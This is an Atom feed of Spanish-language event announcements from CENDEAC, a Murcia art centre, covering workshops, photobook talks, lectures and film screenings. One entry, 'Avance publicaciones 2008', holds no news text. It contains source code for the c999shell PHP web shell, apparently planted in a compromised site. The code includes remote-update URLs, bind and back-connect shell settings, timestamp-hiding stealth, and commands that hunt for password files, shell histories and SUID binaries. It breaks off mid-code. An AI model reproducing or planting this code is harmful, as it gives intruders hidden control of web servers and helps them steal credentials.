CENDEAChttp://cendeac.net/urn:uuid:b6ad245c-0ae4-55f1-8801-b9a7d5654e202013-05-18T09:59:02ZCENDEACinfo@cendeac.netAUTOEDICIÓN COLABORATIVA EXPRÉSurn:uuid:d2d62aaf-037b-5ac6-90b2-e8ad97b1476f2013-05-18T09:59:02ZTaller TALLER AUTOEDICIÓN COLABORATIVA EXPRÉS
Viernes, 14 y sábado, 15 de junio
CENDEAC (Murcia)



Cienojos, en colaboración con CENDEAC, organiza el taller Autoedición colaborativa exprés, de la mano de Carlos Albalá e Ignasi López (Bside Books), con el objetivo de dotar de las herramientas y los conocimientos indispensables para que cada uno de los participantes pueda producir sus propias publicaciones. En este taller, de orientación eminentemente práctica, trabajaremos con las herramientas básicas de la autoedición e iremos desde la edición y selección de las imágenes, hasta la encuadernación de nuestra maqueta en papel. Cada uno de los asistentes trabajará sobre su propio proyecto con la ayuda de todos los participantes, tanto en la selección de las imágenes como en el proceso de encuadernación y cosido. Se tratarán también aspectos tan importantes a la hora de editar como los sistemas de financiación y las herramientas y canales de distribución.

El taller consta de un total de 12 horas distribuidas entre el viernes, 14 (17-21h) y el sábado, 15 de junio (10-20h, con una pausa para comer).

PONENTES
Bside books (Self Produced & Limited Editions) es un proyecto editorial independiente cuya filosofía es servir de plataforma para la autoproducción y difusión de libros y ediciones limitadas relacionadas con los cambios territoriales producidos por transhumancias contemporáneas. Creado por Carlos Albalá e Ignasi López, Bside Books explora diferentes y cuidadas formas de materializar el trabajo de artistas en el ámbito de la publicación impresa.

REQUISITOS
Para participar en el taller es necesario que los participantes cuenten con un ordenador portátil, preferentemente con Photoshop e Indesing instalados, y un proyecto acabado, ya sea fotográfico, textual, o de cualquier otra disciplina que quieran ver convertido en libro.

Deberán traer sus imágenes (entre 15 y 30 aproximadamente), tanto en formato digital de calidad como en papel para facilitar el trabajo en el proceso de edición (no es necesario que las copias en papel sean de alta calidad).

INSCRIPCIONES
El precio del taller es de 100€ e incluye los materiales e impresiones necesarias para realizar una maqueta básica del trabajo presentado por cada uno de los participantes.

Para realizar la inscripción hay que hacer el ingreso de la matrícula en la cuenta de Cienojos:

2085-8276-19-0330122440 (Ibercaja),

detallando en el concepto el nombre y apellidos de la persona que va a realizar el taller, y enviar un e-mail a: talleres@cienojos.org, adjuntando el justificante de pago y los siguientes datos: nombre completo, teléfono de contacto y DNI.

El número máximo de plazas es 16, por lo que se completarán por riguroso orden de inscripción.

BECAS
Se ofrecerán dos becas por el importe total del taller. Para acceder a ellas se deberá enviar el proyecto con el que se va a realizar el taller a la dirección: talleres@cienojos.org, antes del 23 de mayo. Un jurado compuesto por Cienojos y CENDEAC seleccionará los dos trabajos becados.
 

Fechas: viernes, 14 (17-21h) y sábado, 15 de junio (10-20h) // Lugar: CENDEAC // Precio: 100€ // Plazas: 16 //
Más información:
talleres@cienojos.org

]]>
GRUPO DE TRABAJO PHOTOBOOK CLUB MURCIAurn:uuid:c481cef1-c0a6-57a5-a479-52762c3c87ec2013-05-13T08:05:12ZGrupo de Trabajo GRUPO DE TRABAJO PHOTOBOOK CLUB MURCIA

 

Photobook Club Murcia es un proyecto organizado en colaboración con el Cendeac que nace como respuesta al creciente interés por el fotolibro en Murcia. Cada vez son más los aficionados que quieren ver, tocar, oler y, en definitiva, sentir el placer de la fotografía en la página impresa. 

Creemos que el papel es el medio propio de la fotografía y el libro el lugar más natural para el ensayo fotográfico. Nos gustan los libros, la literatura, el arte, la fotografía pero, sobre todo, nos gustan los fotolibros.

Por este motivo, queremos reunirnos alrededor de una mesa para compartir nuestros libros, para presentarlos, tocarlos y contar a los demás por qué son tan especiales y qué podemos aprender de ellos. 

 Los requisitos para participar son sencillos: solo tienes que traer unos de tus fotolibros favoritos. Durante la sesión, cada asistente presentará el libro que ha traído, lo pondremos en común y lo comentaremos. Se trata de crear una dinámica fluída, en la que todos aprendamos de todos.

Se ruega confirmar asistencia mediante el envío de un correo electrónico a: photobookclubmurcia@gmail.com

Fecha: 14 de mayo de 2013 / Lugar: Cendeac Esp. 4 / Hora: 19h

 

MÁS INFORMACIÓN

FacebookBlog

]]>
LAS IMÁGENES NECESARIASurn:uuid:78b1c659-d279-56da-ba5b-3a20e53ea4ba2013-05-10T09:06:47ZConferencias CONFERENCIA DE JUAN VICENTE ALIAGA

LAS IMÁGENES NECESARIAS: SEXUALIDAD Y CONFLICTOS DE GÉNERO EN LA PRODUCCIÓN ARTÍSTICA RECIENTE DEL MUNDO ÁRABE

16 DE MAYO // CENDEAC Esp. 4 // 20h

 

Foto: Ahlam Shibli, Eastern LGBT, 2006 © Ahlam Shibli

Con motivo de la publicación del libro Desde el Magreb al Máshreq. Diálogos artísticos y geopolíticos sobre el Norte de África, Oriente Próximo y el mundo islámico (Cendeac, 2012), Juan Vicente Aliaga impartirá una conferencia en la que abordará los aspectos recogidos en el libro e irá más allá, al analizar la sexualidad y los conflictos de género en la producción artística reciente del mundo árabe.

El sistema de pensamiento hegemónico occidental ha construido discursivamente el mundo árabe desde una perspectiva anclada en el prejuicio, los reduccionismos y los estereotipos. El arte (mediante las exposiciones) ha sido una herramienta que ha funcionado con el objetivo de conocer la realidad de los países árabes y despejar a su vez los clichés, cayendo sin embargo en algunos cuestionables errores. 
Las mujeres y la sexualidad (junto a las numerosas prohibiciones asociadas a la misma) han sido frecuentes recursos en el imaginario occidental sobre las culturas árabes.
En esta conferencia se propone abordar estas cuestiones a la luz de un conjunto de prácticas artísticas surgidas desde distintos lugares del Magreb y del Máshreq en las últimas décadas.

 

BIOGRAFÍA DE JUAN VICENTE ALIAGA

Juan Vicente Aliaga (Cheste, Valencia, 1959) es profesor de Teoría del Arte Moderno y Contemporáneo en la Universitat Politècnica de Valencia. Su trabajo se ha centrado en los estudios feministas, de género y queer, con una atención especial a las representaciones culturales, artísticas y políticas de la diversidad y la singularidad sexual. Asimismo, desarrolla su labor docente en torno a la importancia de las micropolíticas y de las aportaciones de los estudios interculturales y poscoloniales. Corresponsal de la revista Artforum (Nueva York), es autor de Orden fálico. Androcentrismo y violencia de género en las prácticas artísticas del siglo xx (Akal, 2007) y Arte y cuestiones de género (Nerea, 2004). Entre otras, ha comisariado las exposiciones Akram Zaatari. El molesto asunto (Musac, León, 2011/MUAC, Ciudad de México, 2012), En todas partes. Políticas de la diversidad sexual en el arte (CGAC, Santiago de Compostela, 2009) y La batalla de los géneros (CGAC, Santiago de Compostela, 2007).


Fecha: 16 de mayo de 2013 // Lugar: Cendeac Esp. 4 // Hora: 20h

]]>
Proyección Hard Targeturn:uuid:0674c2cb-dc80-58fb-a325-a6404abe81b82013-05-06T12:41:04Z PROYECCIÓN DE HARD TARGET (1993), DE JOHN WOO

Lugar: Filmoteca Regional Francisco Rabal. Sala A // Hora: 18.45h // Entrada gratuita

]]>
Proyección The Most Dangerous Gameurn:uuid:23791c90-3262-57c9-82a7-b94de4fed5892013-05-06T12:34:02Z PROYECCIÓN THE MOST DANGEROUS GAME (1932), DE ERNEST B. SCHOEDSACK E IRVING PICHEL

Lugar: Filmoteca Regional Francisco Rabal. Sala A // Hora: 19H // Entrada gratuita

]]>
CONVERSACIONES EN TORNO AL FOTOLIBRO: JUAN VALBUENAurn:uuid:4b417c25-6c82-5028-93d1-2a5085e28c002013-05-03T12:23:36ZConferencias  

 

 

Conversaciones en torno al fotolibro es un ciclo organizado por Cienojos en colaboración con el CENDEAC (Centro de Documentación y Estudios Avanzados de Arte Contemporáneo de la Región de Murcia). El propósito de este proyecto es explorar los nuevos lenguajes fotográficos empleados para la construcción de obras que van más allá de la fotografía y se sumergen en el mundo editorial: el fotolibro como una entidad artística y comunicativa completa e independiente.

Para indagar en estos lenguajes, nos visitarán a lo largo del año diferentes autores y editores independientes que están jugando un papel crucial en la edición fotográfica de nuestro país. De forma paralela a las grandes editoriales de arte, arquitectura y fotografía, estos pequeños editores son mucho más libres para la experimentación y tienen un trato mucho más directo con el autor, por lo que es aquí donde hierve y evoluciona el concepto de fotolibro.

BIOGRAFÍA

Juan Valbuena (Madrid, 1973) desarrolla su trabajo en torno a los viajes, la tierra natal y la memoria de los pueblos. Es uno de los fundadores de la agencia Nophoto, coordina la iniciativa Proyecta, que contribuye a difundir el trabajo de jóvenes autores, y desarrolla numerosas actividades formativas. En el terreno más estrictamente editorial, ha publicado Nosotros, considerado uno de los mejores libros del año 2009 por el festival PHE09 y el Festival de Kassel 2009; ese mismo año edita Aquí y ahora, un proyecto de Nophoto sobre fotografía documental española para el Instituto Cervantes y AECID.

En la tertulia nos presentará el proyecto editorial Phree y Noray, su última publicación, así como el proyecto Bookip (Book in progress) que pretende hacer una recopilación de los mejores fotolibros independientes publicados en España desde el año 2000.


]]>
Fisuras fílmicas. Yulene Olaizola. Proyecciónurn:uuid:3dcc2c8b-09ce-5a93-8d23-6bf8d78f033f2013-05-03T12:23:07Z INTIMIDADES DE SHAKESPEARE Y VÍCTOR HUGO (2008), DE YULENE OLAIZOLA

Proyección: miércoles, 30 de enero de 2013 / 21.00h / Filmoteca Regional Francisco Rabal

Yulene Olaizola participará en un debate con el público el miércoles 30, tras la proyección en la Filmoteca Regional.

 

En la esquina de la calle Shakespeare y Victor Hugo en la Ciudad de México, se sitúa la casa de huéspedes de Rosa Carbajal, un refugio que esconde una historia íntima y apasionante. Hace veinte años, Rosa conoció a Jorge Riosse, un joven inquilino con quien desarrolló una amistad entrañable. Durante ocho años, su estancia en la casa dejó marcas imborrables en aquellos que lo conocieron, pero no fue hasta después de su abrupta muerte cuando salieron a la luz los rasgos más oscuros de su personalidad. El documental ofrece una semblanza profunda de dos personajes, solitarios a su manera o a su pesar, que a lo largo de los años fueron construyendo lazos fuerte y extrañamente. 

 

Intimidades de Shakespeare y Víctor Hugo, ópera prima de la cineasta mexicana, ha sido galardonada en el Buenos Aires Festival Internacional de Cine Independiente (BAFICI), el International Documentary Film Festival de Ámsterdam (IDFA), el Festival de Cine de La Habana y el Festival de Cine de San Sebastián, entre otros muchos.

GUÍA DE LECTURA (en la que podréis encontrar material adicional)

]]>
Fisuras fílmicas. Yulene Olaizola. Clase magistralurn:uuid:5d62c3c2-dbfe-5e28-974b-a214a051067f2013-05-03T12:22:57ZConferencias INTIMIDADES DE SHAKESPEARE Y VÍCTOR HUGO (2004), de YULENE OLAIZOLA

Clase magistral: jueves, 30 de enero de 2013  / 19.30h / Cendeac (entrada gratuita)

Yulene Olaizola (México D.F, 1983) se graduó en el Centro de Capacitación Cinematográfica con la distinción Summa Cum Laude por su proyecto de tesis,Intimidades de Shakespeare y Victor Hugo, estrenada en 2008. En 2011 produjo y dirigió su primera película de ficción, Paraísos artificiales, que fue estrenada en el Festival de Cine de Rótterdam y premiada en el Tribeca Film Festival (Nueva York) y en el Santiago Festival Internacional de Cine (SANFIC, Chile). Ese mismo año participó  en el programa de residencias artísticas de Fogo Island Arts Corporation, en Newfoundland (Canadá), donde realizó Fogo, proyectada por primera vez en mayo de 2012, en la Quinzaine des Realizateurs del Festival de Cannes. Junto con el cineasta Ruben Imaz fundó la productora mexicana Malacosa Cine. Actualmente, trabajan en conjunto en el desarrollo de su siguiente proyecto Epitafio. 

 

 

MÁS INFORMACIÓN

Sobre Yulene Olaizola y Malacosa Cine: malacosacine.blogspot.com

GUÍA DE LECTURA (en la que podréis encontrar material adicional).

]]>
WORKSHOP: ANALIZANDO LAS CULTURAS EUROPEASurn:uuid:df896ea7-412b-531c-b137-e4d8f8353a702013-05-03T12:22:14ZTaller WORKSHOP: ANALIZANDO LAS CULTURAS EUROPEAS

21-23 de marzo de 2013 / Cendeac / Esp. 4 / 9.00h

El taller Analizando las culturas europeas es una actividad que se desarrolla para promover la red internacional de los programas de doctorado Procesos de Transformación en Sociedades Europeas en la que colaboran la Universidad de Murcia, la Universidad de Múnich (Alemania), la Universidad de Graz (Austria), la Universidad de Basilea (Suiza) y la Universidad de Londonderry (Irlanda). En el transcurso del mismo se presentará el desarrollo de las distintas investigaciones y se discutirán los posibles problemas, cuestiones a mejorar o virtudes de las mismas, desde las diferentes perspectivas que ofrecen los participantes, tanto doctores como doctorandos.

El workshop tiene un carácter cerrado, pero aquellos doctorandos que deseen asistir como oyentes lo pueden solicitar por correo electrónico a: schriewer@um.es En el encabezado del e-mail deberá constar: «Solicitud participación seminario».
Las plazas de oyente son limitadas.

]]>
Fisuras fílmicas. Théo Court. Proyecciónurn:uuid:cd7f380d-4dfc-5d58-8874-0b224459af602013-05-03T12:22:08Z OCASO (2010), DE THÉO COURT


Proyección: miércoles, 3 de abril de 2013 / 20.30h / Filmoteca Regional Francisco Rabal

Théo Court participará en un debate con el público tras la proyección.

 

En un lugar indeterminado de Chile, una vieja hacienda de la alta burguesía rural se encuentra en un avanzado estado de descomposición. Cada estancia, cada patio, cada jardín, asume lentamente su nueva condición de ruina. En ese lugar desvencijado habitan el viejo propietario de la casa –un burgués postrado entre el alcohol y la cama–, y un anciano trabajador que se limita a resistir en ese decrépito lugar mientras pasa sus horas atendiendo al amo, alimentándose con lo poco que encuentra y acumulando ramas para calentar un lugar que nada tiene de hogareño. Para ese hombre, convertido en testimonio directo de la explotación laboral en su última etapa, la vida no ha resultado sencilla; su situación parece haber estado caracterizada siempre, incluso a su avanzada edad, por una precariedad sometida a los caprichos de un patrón que solo exalta lo heroico de una absurda resistencia: la suya propia. En este largometraje, el director chileno Théo Court sitúa la cámara entre el documental y la ficción para dejar un testimonio extraordinario de un hombre quebrado por el trabajo. Planos estáticos o extremadamente pausados nos invitan a adentrarnos en el tiempo lento, triste, desolado, de un hombre al que décadas de trabajo solo le dejan la nada como futuro. Así, Court articula una película en la que el Ocaso de la burguesía rural se convierte en un capricho existencialista frente al verdadero dolor de la clase trabajadora.


 

]]>
Fisuras fílmicas. Théo Court. Clase magistralurn:uuid:723b8e59-f265-5647-9b65-e402ffe9b86f2013-05-03T12:22:00ZConferencias OCASO (2010), de THÉO COURT


Clase magistral: jueves, 4 de abril de 2013 / 19.30h / Cendeac (entrada gratuita)

Théo Court (1981) estudió Fotografía en Madrid y, posteriormente, Dirección en la Escuela Internacional de Cine de San Antonio de los Baños (Cuba, 2004). Su tesis de graduación, El espino, fue seleccionada en la competencia oficial del Festival de Cine de Cannes en 2005, además de participar en múltiples festivales internacionales, en los que ha obtenido varios premios. En 2007 realiza una animación en arena, Sendero, que obtiene distintos premios nacionales e internacionales. Ese mismo año gana el prestigioso fondo Hubert Bals, que otorga el Festival de Cine de Rótterdam, para realizar su primer largometraje. Dicho largometraje, Ocaso se estrenó internacionalmente en el Festival de Cine de Rótterdam en 2011, además de competir en alrededor de quince festivales internacionales, como el Festival de Cine Independiente de Los Ángeles (2011), Múnich, Buenos Aires, Trieste, Valdivia, Las Palmas, etc. En ellos ha obtenido diversos premios. Actualmente desarrolla el guión de su segundo largometraje, Blanco en Blanco, ganador del fondo Hubert Bals 2011. Sus obras han sido exhibidas en diversos museos del mundo.
 

]]>
CONVERSACIONES EN TORNO AL FOTOLIBRO: GONZALO ROMEROurn:uuid:0afd9a4e-4c0f-5842-9140-2eeb5ed721492013-05-03T12:21:52Z


CONVERSACIONES EN TORNO AL FOTOLIBRO: GONZALO ROMERO

Miércoles, 10 de abril de 2013. 20.00 h. Esp. 5.

Conversaciones en torno al fotolibro es un ciclo organizado por Cienojos en colaboración con el CENDEAC (Centro de Documentación y Estudios Avanzados de Arte Contemporáneo de la Región de Murcia). El propósito de este proyecto es explorar los nuevos lenguajes fotográficos empleados para la construcción de obras que van más allá de la fotografía y se sumergen en el mundo editorial: el fotolibro como una entidad artística y comunicativa completa e independiente.

Para indagar en estos lenguajes, nos visitarán a lo largo del año diferentes autores y editores independientes que están jugando un papel crucial en la edición fotográfica de nuestro país. De forma paralela a las grandes editoriales de arte, arquitectura y fotografía, estos pequeños editores son mucho más libres para la experimentación y tienen un trato mucho más directo con el autor, por lo que es aquí donde hierve y evoluciona el concepto de fotolibro.

En este tercer encuentro, Gonzalo Romero presentará Siete de un Golpe, un estudio de edición de arte que va mucho más allá de la editorial al uso y comentará sus impresiones acerca de la relación autor-editor, los modelos editoriales y la auto-edición.

 

GONZALO ROMERO

Gonzalo Romero es editor y profesor. Licenciado en Filología Hispánica y diplomado en Edición y Publicación de Textos por la Universidad de Deusto. Socio fundador y director del taller de edición de arte Siete de un golpe. Está especializado en producción gráfica editorial y expositiva. Colabora como profesor en diferentes escuelas, impartiendo materias relacionadas con la autoedición y autopublicación de libros y la producción gráfica.
 

 

]]>
Proyección. La noche de los muertos vivientesurn:uuid:76c97efd-a467-539b-9188-82d8438242882013-05-03T12:21:25Z PROYECCIÓN. LA NOCHE DE LOS MUERTOS VIVIENTES (1968), de George A. Romero

Lugar: Filmoteca Regional Francisco Rabal. Sala A // Hora: 21.00h

]]>
Proyección. El diario de los muertos vivientesurn:uuid:a53a2b89-5a91-5284-8708-0fc9eb0e295f2013-05-03T12:21:17Z PROYECCIÓN. EL DIARIO DE LOS MUERTOS VIVIENTES (2007), de George A. Romero

Lugar: Filmoteca Regional de Murcia. Sala B // Hora: 21.00h

 

]]>
Proyección. El amanecer de los muertos vivientesurn:uuid:1fba96b1-d582-5a07-9ea6-37aa5c0ce9be2013-05-03T12:21:09Z PROYECCIÓN. EL AMANECER DE LOS MUERTOS VIVIENTES (1978), de George A. Romero

Lugar: Filmoteca Regional Francisco Francisco Rabal. Sala A // Hora: 21.30h

]]>
Proyección. La noche de los muertos vivientesurn:uuid:2aaca02c-6253-522d-8d44-d8d351d207122013-05-03T12:20:55Z PROYECCIÓN. LA NOCHE DE LOS MUERTOS VIVIENTES (1968), de George A. Romero

Lugar: Filmoteca Regional Francisco Rabal. Sala A // Hora: 22.30h

 

]]>
Proyección. El amanecer de los muertos vivientesurn:uuid:882e18d3-b3ef-50d2-a85b-ead635a4c39f2013-05-03T12:20:45Z PROYECCIÓN. EL AMANECER DE LOS MUERTOS VIVIENTES (1978), de George A. Romero

Lugar: Filmoteca Regional Francisco Francisco Rabal. Sala A // Hora: 22.30h

]]>
D.Nuevo Ensayo. Encuentros con jóvenes ensayistas. Grégoire Chamayouurn:uuid:51e24b41-df84-5aab-bcde-c9baeecb1fea2013-05-03T12:19:29ZConferencias ENCUENTRO: jueves, 23 de mayo de 2013

17.15-19.00h. Conferencias de Kieran Aarons y Alejandro García
19.15-21.00h. Conferencia de Grégoire Chamayou y mesa de debate

Centro de Documentación y Estudios Avanzados de Arte Contemporáneo (CENDEAC) // Esp. 0

Grégoire Chamayou es investigador en filosofía en el Centro Nacional de Investigaciones Científicas  [Centre National de la Recherche Scientifique (Cerphi, ENS Lyon)]. Es autor de Les corps vils: Expérimenter sur les êtres humains aux XVIIIe et XIXe siècles (La Découverte, 2008), Les chasses à l'homme (La Fabrique, 2010), traducido al castellano por Errata Naturae en 2012 como Las cazas del hombre, y Théorie du drone (La Fabrique, 2013).

Alejandro García estudió en la Universidad de Barcelona y actualmente es profesor de historia en la Universidad de Murcia. Ha sido profesor visitante en universidades de Francia, México, Colombia, Argentina y Costa Rica, y ha desarrollado investigaciones en la Sierra Tarahumara (México), Buenos Aires, Magdalena Medio (Colombia), Argelia, Mauritania y Sáhara Occidental. Ha publicado Hijos de la violencia. Campesinos de Colombia sobreviven a golpes de paz (1996), Historias del Sáhara. El mejor y el peor de los mundos (2001), Los crímenes de Estado y su gestión. Dos experiencias postraumáticas y una aproximación a la justicia penal internacional (2009) e Historia del Sáhara y su conflicto (2010).

Kieran Aarons prepara su doctorado en filosofía por la Univerdiad DePaul (Chicago, EEUU). Ha traducido al inglés el libro de François Zourabichvili Deleuze: una filosofía del acontecimiento (Amorrurtu, 2004). Actualmente realiza una estancia como investigador invitado en la Humbolt Universität de Berlín (Alemania), donde está terminando su tesis en torno a los conceptos de la propiedad privada, emergencia y vida en el pensamiento político occidental.


MÁS INFORMACIÓN

Facebook:  D.Nuevo Ensayo

]]>
D.Nuevo Ensayo. Encuentros con jóvenes ensayistas. Luis Pérez Ochandourn:uuid:03e68811-f700-564c-82fd-5fbd07f3290f2013-05-03T12:18:43ZConferencias ENCUENTRO: jueves, 11 de abril de 2013

7.15-19.00h. Conferencias de Jordi Sánchez-Navarro y Alberto Ruiz de Samaniego
19.15-21.00h. Conferencia de Luis Pérez Ochando y mesa de debate

Hemiciclo de la Facultad de Letras. Universidad de Murcia. Campus de la Merced

El encuentro se podrá seguir en streaming a través de http://tv.um.es

El estreno de La noche de los muertos vivientes  en 1968 convirtió a George A. Romero en uno de los directores más admirados de su generación. Sin embargo, la obra de este realizador, considerado el padre del cine de zombis, no se reduce a un largometraje ni se limita a un subgénero. Sus películas son estudios de su tiempo y su filmografía constituye una radiografía política de los últimos decenios, una reflexión sobre las estructuras sociales y económicas que atrapan a sus personajes. Obras maestras como Martin (1978) o El Amanecer de los muertos (1978) han hecho a Romero acreedor del reconocimiento de la crítica francesa y anglosajona, pero en el mundo de habla hispana sigue siendo un cineasta mal conocido. En George A. Romero. Cuando no quede sitio en el infierno (Akal, 2013), Luis Pérez Ochando realiza la primera apuesta en lengua castellana para desentrañar las aportaciones de este singular cineasta. A lo largo de sus páginas el autor desmenuza los elementos sociopolíticos en los que se asienta la cosmovisión de Romero; una perspectiva sobre la realidad en la que la crítica ideológica resulta determinante. Durante esta cuarta edición de D.Nuevo Ensayo el análisis se centrará especialmente en la filmografía de zombis realizada por el mítico director neoyorkino.

Luis Pérez Ochando es licenciado en Comunicación Audiovisual en la Universidad de Valencia. Ha colaborado en diversos proyectos de divulgación cinematográfica y ha sido director del Aula de Cinema de dicha universidad (2007-2008). Es cofundador de L’Atalante. Revista de estudios cinematográficos, de la que además ha coordinado varios números. La mayor parte de sus artículos, publicados en revistas de investigación, se centra en los aspectos socioculturales del cine de terror, objeto asimismo de su tesis doctoral.

Alberto Ruiz de Samaniego es doctor en Filosofía por la Universidad Autónoma de Madrid, magister en Estética y Teoría de las Artes por el Instituto de Estética y Teoría de las Artes de la Universidad Autónoma de Madrid y profesor titular de Estética y Teoría de las Artes de la Universidad de Vigo. Crítico cultural, comisario de exposiciones, director de cursos y seminarios, ha colaborado en Arte y parte, Revista de Occidente, Lápiz, Archipiélago, Anthropos, Exit y ABC Cultural, entre otras publicaciones especializadas.

Jordi Sánchez-Navarro es doctor en Comunicación Audiovisual y profesor de Estudios de Información y Comunicación de la Universitat Oberta de Catalunya. Ha escrito sobre cine, televisión y videojuegos y, en la actualidad, investiga sobre las formas que adopta la innovación en el entretenimiento audiovisual y la manera en que estas formas interaccionan con las nuevas prácticas de consumo cultural en el paisaje mediático contemporáneo. Es autor de los libros Narrativa audiovisual (2006), Freaks en acción. Alex de la Iglesia o el cine como fuga (2005) y Tim Burton: cuentos en sombras (2000), y ha editado o coeditado, entre otros, los libros Aprovecha el tiempo y juega.Algunas claves para entender los videojuegos (2010), Puntos de vista.Una mirada poliédrica a la historia del cine (2009), HoritzóTV. Perspectives per una altra televisió possible (2007), Realidad Virtual. Visiones sobre el ciberespacio (2004) e Imágenes para la sospecha. Falsos documentales y otras piruetas de la no-ficción (2001).

CICLO DE CINE ZOMBI

Con motivo de las conferencias de D. Nuevo Ensayo en la Filmoteca Regional Francisco Rabal se proyectarán tres de las películas míticas de George A. Romero.

Lunes, 8 de abril: La noche de los muertos vivientes. Sala A. 21.00h

Martes, 9 de abril: El diario de los muertos vivientes. Sala B. 21.00h

Miércoles, 10 de abril: El amanecer de los muertos vivientes. Sala A. 21.30h

Viernes, 12 de abril: La noche de los muertos vivientes. Sala A. 22.30h

Lunes, 15 de abril: El amanecer de los muertos vivientes. Sala A. 22.30h


MÁS INFORMACIÓN

Facebook:  D.Nuevo Ensayo

Guía de lectura

 

 

]]>
Avance publicaciones 2008urn:uuid:864f889f-2c59-5af1-980e-8407902f3f032013-05-02T08:39:59ZNoticias$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.0 pre-release build #16"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);} else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL } $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. //Authentication $login = ""; //login //DON'T FORGOT ABOUT PASSWORD!!! $pass = ""; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") $login_txt = "Restricted area"; //http-auth message. $accessdeniedmess = "c999shell v.".$shver.": access denied"; $gzipencode = TRUE; //Encode with gzip? $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) $c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server $c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server $filestealth = TRUE; //if TRUE, don't change modify- and access-time $donated_html = "
Owned by hacker
"; /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. $curdir = "./"; //start folder //$curdir = getenv("DOCUMENT_ROOT"); $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) $log_email = "user@host.tld"; //Default e-mail for sending logs $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending $sort_save = TRUE; //If TRUE then save sorting-position using cookies. // Registered file-types. // array( // "{action1}"=>array("ext1","ext2","ext3",...), // "{action2}"=>array("ext4","ext5","ext6",...), // ... // ) $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); // Registered executable file-types. // array( // string "command{i}"=>array("ext1","ext2","ext3",...), // ... // ) // {command}: %f% = filename $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); /* Highlighted files. array( i=>array({regexp},{type},{opentag},{closetag},{break}) ... ) string {regexp} - regular exp. int {type}: 0 - files and folders (as default), 1 - files only, 2 - folders only string {opentag} - open html-tag, e.g. "" (default) string {closetag} - close html-tag, e.g. "" (default) bool {break} - if TRUE and found match then break */ $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"",""), // example array("config.php",1) // example ); $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. // array (i=>{letter} ...); string {letter} - letter of a drive //$safemode_diskettes = range("a","z"); $hexdump_lines = 8;// lines in hex preview file $hexdump_rows = 24;// 16, 24 or 32 bytes in one line $nixpwdperpage = 100; // Get first N lines from /etc/passwd $bindport_pass = "c999"; // default password for binding $bindport_port = "31373"; // default port for binding $bc_port = "31373"; // default port for back-connect $datapipe_localport = "8081"; // default port for datapipe // Command-aliases if (!$win) { $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "find / -perm -2 -ls"), array("find all writable folders and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") ); } else { $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") ); } $sess_cookie = "c999shvars"; // Cookie-variable name $usefsbuff = TRUE; //Buffer-function $copy_unset = FALSE; //Remove copied files from buffer after pasting //Quick launch $quicklaunch = array( array("\"Home\"",$surl), array("\"Back\"","#\" onclick=\"history.back(1)"), array("\"Forward\"","#\" onclick=\"history.go(1)"), array("\"UPDIR\"",$surl."act=ls&d=%upd&sort=%sort"), array("\"Refresh\"",""), array("\"Search\"",$surl."act=search&d=%d"), 